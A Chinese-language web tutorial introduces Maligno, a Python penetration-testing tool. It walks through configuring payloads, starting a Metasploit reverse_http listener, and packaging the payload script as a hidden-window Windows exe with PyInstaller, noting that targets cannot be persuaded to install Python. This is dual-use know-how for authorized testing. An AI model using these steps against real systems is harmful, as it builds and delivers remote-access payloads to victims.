在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
今天我想介绍一个能够在渗透测设中帮到你的工具。Maligno是一个基于FreeBSD许可证的开源的渗透测试工具。使用Python编写,最大限度与Metasploit兼容。 复制代码 代码如下:# ./install.sh 它会询问你创建用于SSL模式操作的证书的相关问题。 配置 在安装完成后,你可以修改服务端的配置文件,打开它,修改使用你的载荷和IP。 这里有一个配置文件的完整解释: 复制代码 代码如下:# cat docs/server_config.explained 创建客户端脚本 复制代码 代码如下:# ./clientgen.py -f youconfifileserver.xml -s true 这个命令为你在youconfifileserver.xml文件中配置的每个载荷生成一个Python脚本。 开启Malingo服务端 复制代码 代码如下:# ./maligno_srv.py Metasploit listener 现在,我们进入到Maligno文件夹里的msfresources文件夹中,执行Metasploit listener。Maligno为了快速加载,替我们为每个载荷创建了一个简单的脚本。 复制代码 代码如下:# cd msfresources # msfconsole -r 0_standard_reverse_http_192.168.226.139_4444.rc 现在我们把Maligno环境加载并运行起来了。 在真实场景中,我们无法欺骗用户,劝他安装运行Python脚本所需环境。我们不得不把Python脚本转换为exe。 Python脚本转为exe 在完成Maligno Python脚本创建后,为了适用于各中环境,我们不得不转化它。 我们需要下面的软件: 复制代码 代码如下:Python 2.7 32bit for windows Pyinstaller 2.1 PyWin32 32bit VM Windows 7 32/64 在自己的Windows机器上安装Python2.7。从官网下载并安装它。 接下来,打开一个CMD shell,进入C:\Python27\里的scripts目录。 复制代码 代码如下:C:\Python27\Scripts\pip.exe install pyinstaller 或者,如果你在Windows的环境变量中安装了Python的路径。 复制代码 代码如下:C:\pip.exe install pyinstaller 下载最新版本的Pyinstaller,下载后会自动安装。 现在该安装PyWin32了。在这之前,如果你选择msi installer,你只需点击netx直到结束。默认配置是正确的,它会从windows的环境变量中找到Python的安装路径。 为了在下载阶段能够解密载荷,安装crypto模块很重要。 复制代码 代码如下:C:\easy_install.exe crypto C:\easy_install.exe pycrypto 现在我们准备利用Python脚本创建我们的exe 打开Linux攻击机(我们在那里创建了Maligno服务端),然后选择一个脚本,拷贝并粘贴到Windwos虚拟机中你指定的文件夹。 进入那个文件夹,并执行pyinstaller 复制代码 代码如下:C:\pyinstaller.exe -F -w --onefile 0_standard_reverse_http.py 如果没有错误,pyinstaller创建一个名为dist的文件夹,到里面我们就能找到.exe文件,可以使用它测试你的载荷。 资源: |
请发表评论